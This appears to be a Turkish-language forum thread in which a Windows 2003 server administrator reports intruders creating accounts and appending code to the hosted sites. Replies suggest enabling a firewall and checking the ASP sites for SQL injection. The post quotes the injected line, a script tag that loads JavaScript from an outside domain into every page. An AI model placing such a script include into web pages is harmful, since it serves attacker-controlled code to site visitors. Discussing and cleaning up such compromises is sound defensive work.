Sunucuma girip hesap açıp login oluyorlar.

Merhaba,

ingilizce Windows 2003 server enterprise edition yuklu butun updatelerinide yaptım ancak hergun birileri girip yeni login hesabı açıyor uzaktan masaustune hesap silmekten bezdim sitelere zarar vermiyorlar ama içlerine her restartta bir kod ekliyorlar bu kodu nasıl eklediklerini bulamadım
adaware ve bitdefender kurulu sürelkkli çalıştırıyorum ancak bişey bulamadım
sayfanın altına ekledikleri kod <script language="JavaScript" src="http://www.google9.info/ee.js"></script>

bunlardan nasıl kurtulurum bi açıkmı var acaba ?
ne yapmalıyım yardımcı olurmusunuz.

sisteminde Merakmail mi var?

mailenbable yüklü sunucuda pleskle birlikte

webmail olarak kontroluda
horde/imp/login.php
Horde yüklü sunucuda

Firewall

Sunucuna firewall kur ya da windowsun firewallu acik degilse onu acmayi dene.

büyük ihtimal database owner üzerinden kullanıcı ekliyorlardır asp tabanli sitelerinde sql injection acigi varmı yokmu kontrol et...